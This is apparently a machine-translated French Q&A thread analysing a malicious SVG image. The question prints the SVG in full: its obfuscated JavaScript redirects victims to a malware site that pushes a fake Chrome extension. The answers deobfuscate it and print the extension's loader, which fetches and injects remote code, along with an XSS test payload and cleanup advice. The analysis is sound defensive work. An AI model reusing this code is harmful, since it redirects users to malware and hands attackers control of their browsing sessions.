Qu'est-ce que ce fichier tente de faire?
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="250" cy="250" r="50" fill="red" />
<script type="text/javascript"><![CDATA[
function jxnpgmlk(wvdxrc,lecho,jqgws){
var uxheu = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
var uahflv = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc\/OVM:dLg7oBpA8eSz53","M0:ARfNp1cv\/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj","aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5\/=JOij7s6C","Iu2b=zPK0\/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
var gzzxb = "";
var jfort = 0;
while(uahflv[jfort]){
jfort++;
}
var xlmjv = 0;
while(wvdxrc[xlmjv]){
var uxqpon = 0;
var aljmjv = -1;
while(uxheu[uxqpon]){
if(uxheu[uxqpon] == wvdxrc[xlmjv]){
aljmjv = uxqpon;
break;
}
uxqpon++;
}
if(aljmjv >= 0){
var sqakm = 0;
var ehtbzd = -1;
while(uahflv[xlmjv%jfort][sqakm]){
if(uahflv[xlmjv%jfort][sqakm] == wvdxrc[xlmjv]){
ehtbzd = sqakm;
break;
}
sqakm++;
}
gzzxb += uxheu[ehtbzd];
}else{
gzzxb += wvdxrc[xlmjv];
}
xlmjv++;
}
var swidsm = "";
for(yokncr=lecho;yokncr<gzzxb.length;yokncr++){
swidsm += gzzxb[yokncr];
}
gzzxb = swidsm;
return gzzxb;
}
var yaqjv = window;
var cujnl = jxnpgmlk("OEoqu71jy",6,true);
var gnqrek = jxnpgmlk("_9Npy9P5tSxq?Ca3tda0loX",15,false);
var zvlgj = jxnpgmlk("66/X_X",2,true);
yaqjv[cujnl][gnqrek][zvlgj] = jxnpgmlk("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy",2,true);
]]></script>
</svg>
Ce fichier fait partie d'un virus.
Il s'agit d'un fichier image SVG contenant du code JS obscurci qui vous redirige vers un site Web malveillant. Ce site Web tentera d'installer des logiciels malveillants (un Chrome) et de transmettre le fichier SVG à vos contacts Facebook. Si vous pensez que vous avez été infecté, suivez ces instructions: Aide! Mon l'ordinateur personnel a été infecté par un virus! Que dois-je faire maintenant?
L'attaquant a probablement choisi un fichier SVG car il s'agit d'un format d'image d'apparence innocente et moins suspect que les exécutables ou les fichiers HTML (dont le transfert est également interdit par Facebook). Mais bien qu'ils soient graphiques, les SVG peuvent également contenir du code de script actif.
Le fichier lui-même contient un segment en ligne obscurci <script>
Composé de deux parties. La première partie est la fonction jxnpgmlk()
qui agit comme un décodeur qui désembrouille toutes les chaînes qu'il obtient en entrée. L'algorithme exact n'a pas vraiment d'importance car nous pouvons simplement appliquer la fonction sur n'importe quelle chaîne brouillée. La deuxième partie est une charge utile très courte. Les quelques chaînes définies ici peuvent simplement être décryptées en utilisant la fonction de décodage, ce qui se traduit par:
var cujnl = "top"; var gnqrek = "location"; var zvlgj = "href"; fenêtre [cujnl] [gnqrek] [zvlgj ] = "http://mourid.com/php/trust.php";
Donc, essentiellement, tout ce code ne vous redirige vers http://mourid.com/php/trust.php
.
De là, deux autres redirections 302 suivent vers http://kerman.pw/php/trust.php
Et http://kerman.pw/?fb_dsa
. La dernière page simule l'apparence d'une page vidéo Youtube pour tromper les utilisateurs en installant un soi-disant "codec manquant". Vous serez plutôt invité à installer cette extension malveillante Chrome extension appelée "One":
https://chrome.google.com/webstore/detail/one/olonepdliekllagcdgmlbihgcplinegj
Modifier: Google a finalement supprimé l'extension du Chrome Web Store, mais il pourrait y avoir d'autres instances autour.
J'ai téléchargé manuellement le fichier d'extension et j'ai jeté un coup d'œil au code source obscurci. Le manifeste d'extension définit plusieurs scripts d'arrière-plan qui sont immédiatement chargés une fois installés. C'est l'essentiel de ce que j'ai désobscurci:
ceci ["chercher"] ("http://cerawa.pw/manalovuci/kojakumoda.bg") ["alors"] (fonction (kkuruv) { if (kkuruv ["ok "]) { kkuruv [" blob "] () [" alors "] (fonction (yxbnjo) { var pklimw = this [" URL "] [" createObjectURL "] (yxbnjo) ; var yxyiq = ce ["document"] ["createElement"] ("script"); yxyiq ["src"] = pklimw; ce ["document" ] ["head"] ["appendChild"] (yxyiq); }); } });
Comme vous pouvez le voir, l'extension télécharge du code JS supplémentaire à partir de http://cerawa.pw/manalovuci/kojakumoda.bg
. (Notez que la page ne renverra rien si vous n'envoyez pas d'agent utilisateur Chrome.) Cette réponse est transformée en URL d'objet et attachée à chaque document pendant la navigation, ce qui donne l'attaquant contrôle à distance votre session de navigation.
Il semble que le malware ne peut être déclenché que par l'interaction de l'utilisateur, donc si vous n'avez pas installé l'extension, vous êtes probablement sûr. Mais comme la page peut facilement servir différents logiciels malveillants à différents agents utilisateurs ou différents pays, il n'est pas possible d'être absolument sûr que vous n'avez pas été infecté lors de la visite du site. En cas de doute, il est temps de le neutraliser depuis l'orbite .
Bonus: Curieusement, cette page est également vulnérable à XSS. Mais je suppose qu'ils n'ont pas de programme Bug Bounty en place ... (http://kerman.pw/"><script>alert(1)</script>
).
J'ai aussi eu cette "merveilleuse" chose, et j'ai joué un peu avec. Il s'avère que cela ne s'active que lorsque vous utilisez "Chrome", car il essaie d'installer et d'extension appelé "One", qui est le virus sacrément. Si vous l'ouvrez avec un autre navigateur (Opera, Firefox, Edge, IE, Safari E.T.C.), vous n'aurez que la page blanche, rien ne se passera.
Je pense que l'essence principale du virus est l'extension, car il essaie alors de voler vos données sur Facebook. Lorsque vous l'ouvrez en chrome, cela ressemble à ceci:
Si vous cliquez sur "Ajouter une extension", vous êtes infecté, il redirige vers Facebook. À ce stade, vous devez immédiatement fermer Chrome et le désinstaller. OR vous pouvez ouvrir l'onglet des extensions et supprimer l'extension appelée "One", mais je ne le fais pas) pense qu'il le supprime complètement.
Après l'avoir supprimé, je suggère de changer le mot de passe Facebook et de vous déconnecter de toutes les autres instances. (Facebook offre une option pour le faire.)
Le code essaie de rediriger votre navigateur vers un autre site Web. L'URL est en quelque sorte cryptée dans les variables de chaîne dans le code javascript.
Si vous visitez un site Web qui incorpore cette image svg, il sera immédiatement redirigé vers le site Web - probablement malveillant. Afin de vous défendre contre les redirections Javascript, vous pouvez désactiver Javascript dans votre navigateur.
/**
* @param string ar
* @param {number} opt_attributes
* @param {boolean} recurring (unused)
* @return string
*/
function theMethod(ar, opt_attributes, recurring) {
/** @type {string} */
var a = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
/** @type {Array} */
var encrypted = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc/OVM:dLg7oBpA8eSz53", "M0:ARfNp1cv/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj", "aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5/=JOij7s6C", "Iu2b=zPK0/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
var s = "";
var n = encrypted.length; //
var i = 0;
// loop over the first argument
for (;ar[i];) {
var mid = 0;
var high = -1;
// get the index of the current character in the variable "a"
for (;a[mid];) {
if (a[mid] == ar[i]) {
/** @type {number} */
high = mid;
break;
}
mid++;
}
// if we found the charachter in the variable "a"
if (high >= 0) {
var j = 0;
var x = -1;
for (;encrypted[i % n][j];) {
if (encrypted[i % n][j] == ar[i]) {
x = j;
break;
}
j++;
}
// append char to solution
s += a[x];
} else {
// append char to solution
s += ar[i];
}
i++;
}
/** @type {string} */
var u = "";
/** @type {number} */
aNumber = opt_attributes;
for (;aNumber < s.length;aNumber++) {
u += s[aNumber];
}
s = u;
return s;
}
/** @type {Window} */
var cujnl = theMethod("OEoqu71jy", 6, true); // top
var gnqrek = theMethod("_9Npy9P5tSxq?Ca3tda0loX", 15, false); // location
var zvlgj = theMethod("66/X_X", 2, true); // href
window[cujnl][gnqrek][zvlgj] = theMethod("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy", 2, true); // the malicious URL